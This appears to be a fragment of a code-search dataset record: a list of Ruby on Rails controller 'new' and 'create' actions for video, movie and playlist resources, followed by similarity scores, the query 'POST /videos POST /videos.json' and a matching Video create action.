"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @video_model = VideoModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video_model }\n end\n end",
"def create\n @video = Video.new(video_params)\n puts @video\n puts \"**********************************\"\n if @video.save\n flash[:success] = 'Video added!'\n redirect_to '/videos'\n else\n render :new\n end\n end",
"def new\n @raw_video = RawVideo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @raw_video }\n end\n end",
"def new\n @unseen_movie = UnseenMovie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @unseen_movie }\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @user = current_user\n @course_lesson = CourseLesson.new\n 3.times { @course_lesson.videos.build }\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_lesson }\n end\n end",
"def new\n @playlist = Playlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @playlist }\n end\n end",
"def new\n @playlist = Playlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @playlist }\n end\n end",
"def new\n @community_member_video = @community_member_profile.videos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @community_member_video }\n end\n end",
"def create\n token = token_from_link params[:video][:token]\n\n gdata = Youtube.new token\n\n @video = Video.new(params[:video]) do |v|\n v.user = current_user\n v.token = token\n v.name = gdata.title if v.name.blank?\n\n v.yt_title = gdata.title\n v.yt_thumb = gdata.thumb\n v.yt_rating = gdata.rating_100\n v.yt_view_count = gdata.view_count\n v.yt_favorite_count = gdata.favorite_count\n v.yt_published = gdata.published\n end\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @user_video = current_user.user_videos.new\n @weekly_tunes = WeeklyTune.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_video }\n end\n end",
"def new\n @channel = params[:forminfo]\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @tv_episode = TvEpisode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tv_episode }\n end\n end",
"def create\n @video = @room.videos.new(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to upload_video_path(@video), notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n if @video.save\n flash[:notice] = \"Successfully added new video!\"\n redirect_to videos_path\n else\n flash[:alert] = \"Error adding new video!\"\n render :new\n end\n end",
"def new\n @video = Video.new\n p params\n @video.title = params[:title] if params[:title]\n @video.url = params[:url] if params[:url]\n @video.image_url = params[:image_url] if params[:image_url]\n @video.active = params[:active] if params[:active]\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"def new\n # @playlist = Playlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: { playlist: @playlist } }\n end\n end",
"def new\n @resource = Resource.new \n @video = Video.new\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Vídeo criado com sucesso' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end",
"def create\n @video = Video.new(nicovideo_id: params[:nicovideo_id])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { redirect_to videos_path , alert: 'Video was not successfully created.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @watched_movie = WatchedMovie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @watched_movie }\n end\n end",
"def new\n @video = Video.new\n @video.asset = Asset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"def create\r\n @video = Video.new(params[:video])\r\n\r\n if !@video.image_url and @video.url =~ /youtube/\r\n @video.image_url = \"http://img.youtube.com/vi/\" + @video.url.split(\"/embed/\").last + \"/default.jpg\"\r\n end\r\n\r\n respond_to do |format|\r\n if @video.save\r\n format.html { redirect_to \"/videos?p=\" + @@ADMIN_PASS }\r\n format.json { render json: @video, status: :created, location: @video }\r\n else\r\n format.html { render action: \"new\", :layout => false }\r\n format.json { render json: @video.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def new\n @sequence = Sequence.new(:video => Video.find(params[:video_id]))\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sequence}\n end\n end",
"def create_videos\n end",
"def new\n @record_video = RecordVideo.new\n @tuantis= Tuanti.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @record_video }\n end\n end",
"def create\n @video = Video.new(video_params.merge({ project_id: @project.id }))\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to action: 'show', controller: 'videos', project_id: @project.id, id: @video.id, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end",
"def create\n @video = Video.new(params[:video])\n @licenses = License.all\n @galleries = Gallery.all\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @voc = Voc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @voc }\n end\n end",
"def new\n @videofile = Videofile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @videofile }\n end\n end",
"def create\n # Esta solución no es viable con la versión de Dynamoid 0.7.1\n @video = current_user.videos.create(video_params)\n @video.usuario_id = current_user.id\n respond_to do |format|\n if @video.save\n flash[:success] = \"El video ha sido posteado, pasarán unos segundos para ser publicado\"\n format.html { redirect_to current_user }\n format.json { render action: 'show', status: :created, location: @video }\n else\n puts @video.to_s\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @vodcast = Vodcast.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vodcast }\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n flash[:notice] = 'Video was successfully created.'\n format.html { redirect_to(@video) }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @play = Play.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @play }\n end\n end"
] | [
"0.8016282",
"0.7963612",
"0.7884851",
"0.78837156",
"0.78837156",
"0.78837156",
"0.78837156",
"0.78837156",
"0.78837156",
"0.78837156",
"0.78837156",
"0.78837156",
"0.78837156",
"0.7604804",
"0.753364",
"0.75278044",
"0.7379394",
"0.72565913",
"0.7214344",
"0.71995765",
"0.71727395",
"0.7124114",
"0.7117749",
"0.7117749",
"0.7087981",
"0.70497435",
"0.7049737",
"0.70468867",
"0.7028771",
"0.7015025",
"0.70091236",
"0.6998301",
"0.6985432",
"0.6985432",
"0.6985432",
"0.6985432",
"0.69819915",
"0.6978156",
"0.69536114",
"0.6936984",
"0.69181615",
"0.69103116",
"0.69103116",
"0.69103116",
"0.69103116",
"0.6896045",
"0.6873909",
"0.6871469",
"0.6871469",
"0.6838906",
"0.6837329",
"0.68230087",
"0.6820869",
"0.6806855",
"0.6806855",
"0.6806855",
"0.6806855",
"0.6806855",
"0.6780838",
"0.67793584",
"0.67793584",
"0.6773801",
"0.67669076",
"0.6762995",
"0.676003",
"0.6755894",
"0.6755894",
"0.6755894",
"0.6755894",
"0.6755894",
"0.6755894",
"0.6755894",
"0.6755894",
"0.6755894",
"0.6751866",
"0.6751799",
"0.6750727",
"0.6745208",
"0.67409086",
"0.6730457",
"0.67261755",
"0.67197496",
"0.6711305",
"0.6694582",
"0.66924673",
"0.668734",
"0.6672715",
"0.6672141",
"0.6663846",
"0.6640474",
"0.6635039",
"0.6634454",
"0.66302264",
"0.662883",
"0.66257924",
"0.6613092",
"0.66083515",
"0.66083515",
"0.6589567",
"0.65893215",
"0.65831614"
] | 0.0 | -1 |
POST /videos POST /videos.json | def create
@video = Video.new(params[:video])
@licenses = License.all
@galleries = Gallery.all
respond_to do |format|
if @video.save
format.html { redirect_to @video, notice: 'Video was successfully created.' }
format.json { render json: @video, status: :created, location: @video }
else
format.html { render action: "new" }
format.json { render json: @video.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @video = Video.new(video_params)\n @video.save!\n render json: @video\n end",
"def create\n @video = @room.videos.new(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to upload_video_path(@video), notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_videos\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video.as_json }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = current_user.videos.new(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path(), notice: 'Video criado com sucesso.' }\n format.json { render :index, status: :created, location: @video }\n else\n format.html { redirect_to new_video_path(), notice: 'Video não salvo.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = @user.videos.build(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to user_videos_path(@user), notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: user_videos_path(@user) }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to root_url, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Esta solución no es viable con la versión de Dynamoid 0.7.1\n @video = current_user.videos.create(video_params)\n @video.usuario_id = current_user.id\n respond_to do |format|\n if @video.save\n flash[:success] = \"El video ha sido posteado, pasarán unos segundos para ser publicado\"\n format.html { redirect_to current_user }\n format.json { render action: 'show', status: :created, location: @video }\n else\n puts @video.to_s\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n vid = Video.create(video_params)\n redirect_to \"/videos/#{vid.id}\"\n end",
"def create\n @video = Video.new(video_params)\n @video.update(user_id: current_user.id)\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully uploaded.' }\n format.json {\n render json: { files: [@video.to_jq_upload], url: video_path(@video), message: \"Uploaded successfully.\" }, status: :created, location: @video\n }\n else\n format.html { render :new }\n end\n end\n end",
"def postprocess\n video_params = JSON.parse(params[\"upload_response\"])\n @video = Video.new(:panda_video_id => video_params[\"id\"], :title => \"Title-to-be-edited-later\")\n\n if @video.save\n render :json => {:play_url => url_for(@video), :id => @video_id}\n end\n end",
"def create\n token = token_from_link params[:video][:token]\n\n gdata = Youtube.new token\n\n @video = Video.new(params[:video]) do |v|\n v.user = current_user\n v.token = token\n v.name = gdata.title if v.name.blank?\n\n v.yt_title = gdata.title\n v.yt_thumb = gdata.thumb\n v.yt_rating = gdata.rating_100\n v.yt_view_count = gdata.view_count\n v.yt_favorite_count = gdata.favorite_count\n v.yt_published = gdata.published\n end\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user.permission.can_post_video?\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'You can not post videos.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @album = Album.find(params[:album_id])\n @video = @album.videos.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @album, notice: 'Video creado satisfactoriamente.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n @video.uuid = params[:videohelpsubmission][:video_uuid]\n @video.token = SecureRandom.hex\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Vídeo criado com sucesso' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\tif user_type != 'guest' and user_type != 'bunned' and user_type != 'new_user'\n\t\tparams[:video][:user_id] = current_user.id\n\t\t@video = Video.new(params[:video])\n\t\trespond_to do |format|\n\t\t if @video.save\n\t\t\tformat.html { redirect_to @video, :notice => 'Видео успешно добавлено' }\n\t\t\tformat.json { render :json => @video, :status => :created, :location => @video }\n\t\t else\n\t\t\tformat.html { render :action => \"new\" }\n\t\t\tformat.json { render :json => @video.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end",
"def create\n @user_video = current_user.user_videos.new(params[:user_video])\n\n respond_to do |format|\n if @user_video.save\n format.html { redirect_to @user_video, notice: 'Video was successfully created.' }\n format.json { render json: @user_video, status: :created, location: @user_video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(nicovideo_id: params[:nicovideo_id])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { redirect_to videos_path , alert: 'Video was not successfully created.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n puts @video\n puts \"**********************************\"\n if @video.save\n flash[:success] = 'Video added!'\n redirect_to '/videos'\n else\n render :new\n end\n end",
"def create\n @video_upload = VideoUpload.new\n @video_upload.save!\n @video_upload.prepare!\n\n render json: @video_upload, status: :created, location: @video_upload\n end",
"def create\n @saved_video = SavedVideo.new(saved_video_params)\n\n respond_to do |format|\n if @saved_video.save\n format.html { redirect_to @saved_video, notice: 'Saved video was successfully created.' }\n format.json { render :show, status: :created, location: @saved_video }\n else\n format.html { render :new }\n format.json { render json: @saved_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n\n @project = Project.user_readable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.new(params[:project_video])\n\n if @video.save\n respond_to do |format|\n format.json { render :json => {:video_id => @video.id, :aws_videos_path => @video.videos_path}, :status => :ok }\n end\n\n else\n respond_to do |format|\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n\n else\n not_authorized\n end\n\n\n\n end",
"def create\n @video = Video.new(params[:video])\n @video.published = true\n @video.hits = 0\n @video.current_review = 1\n @video.attach_covers\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @video = Video.new(params[:video])\n \n # @video = current_user.videos.new(params[:video])\n \n @video = Video.new\n @video.user_id = current_user.id\n @video.archive_id = params[:video][:archive_id]\n @video.question_id = params[:video][:question_id]\n \n current_user.videos << @video\n\n respond_to do |format|\n if @video.save\n # format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n # format.html 3{ render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n @publication = Publication.create(:content => @video.content + @video.name + @video.description + @video.tag_list.join(' '), :published_id => @video.id, :published_type => 'Video')\n format.html { redirect_to videos_path, notice: 'El video fue creada correctamente.' }\n format.json { render action: 'list', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n if @video.save\n flash[:notice] = \"Successfully added new video!\"\n redirect_to videos_path\n else\n flash[:alert] = \"Error adding new video!\"\n render :new\n end\n end",
"def new\n \n @video = Video.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def create\n @file = vid_params['file'].tempfile\n type = vid_params['file'].content_type\n client = YouTubeIt::Client.new(:username => ENV['GMAIL'], :password => ENV['GMAIL_PASSWORD'], :dev_key => ENV[\"YOUTUBE_API_KEY\"])\n res = client.video_upload(@file, title: vid_params['title'], description: vid_params['description'], category: 'People', :keywords => ['darity', 'dare', 'charity'])\n @video = Video.new(url: res.player_url, uid: res.player_url.gsub(/&.*/, \"\").gsub(/.*=/, \"\"), description: vid_params[\"description\"], title: vid_params['title'], dare_id: params[:dare_id])\n if @video.save\n redirect_to current_user\n else\n render html: \"Error\"\n end\n end",
"def create \n @video = Video.new() #get the attachemnt and create a video object with it\n\n if @video.save #if it saves then get the urll\n @video.create_url(params[:filepath]) \n\n if signed_in? #if the user is signed in add the video to their account\n current_user.videos << @video \n\n else #if they arent't uses sessions and a delete key\n @video.session_id = SecureRandom.urlsafe_base64(15) \n @video.delete_key = SecureRandom.urlsafe_base64(30) \n session[:owned_videos] ||= [] #if the current session doesn't have any owned_videos then create the array\n session[:owned_videos] << @video.session_id #add videos session id to array\n end\n\n @video.save \n send_to_heywatch @video\n render json: {url: \"/videos/#{@video.id}\"}\n else #error saving the video take them back to try again TODO show errors\n redirect_to \"/\"\n \n end\n end",
"def create \n # binding.pry\n\n video = Video.new(video_params)\n if video.save\n render json: video, status: :created, location: @video\n else\n render json: {error: \"error This did not save my bro!\"}\n console.log(\"error This did not save my bro!\")\n end\n #render json: videos.to_json(:include => :rapper)\n\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to home_admin_path, notice: '视频创建成功!' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n @scene = Scene.find(params[:video][:scene_id])\n\n @video.scene = @scene\n @video.user = current_user\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @video = Video.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def video_params\n params.require(:video).permit(:title, :video)\n end",
"def create\n @video = Video.new(video_params.merge({ project_id: @project.id }))\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to action: 'show', controller: 'videos', project_id: @project.id, id: @video.id, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def video_params\n params.require(:video).permit(:title, :url, :description)\n end",
"def video_params\n params.require(:video).permit(:title, :content)\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def video_params\n params.require(:video).permit(:name, :description, :content, :link, :visit, :active, :section_id, :tag_list, :posted_at)\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @medio_video = MedioVideo.new(medio_video_params)\n\n respond_to do |format|\n if @medio_video.save\n format.html { redirect_to @medio_video, notice: 'Medio video was successfully created.' }\n format.json { render :show, status: :created, location: @medio_video }\n else\n format.html { render :new }\n format.json { render json: @medio_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_video = Admin::Video.new(admin_video_params)\n authorize! :create, @admin_video\n\n respond_to do |format|\n if @admin_video.save\n format.html { redirect_to @admin_video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_video }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def video_params\n params.require(:video).permit(:title, :url)\n end",
"def video_params\n params.require(:video).permit(:title, :video)\n end",
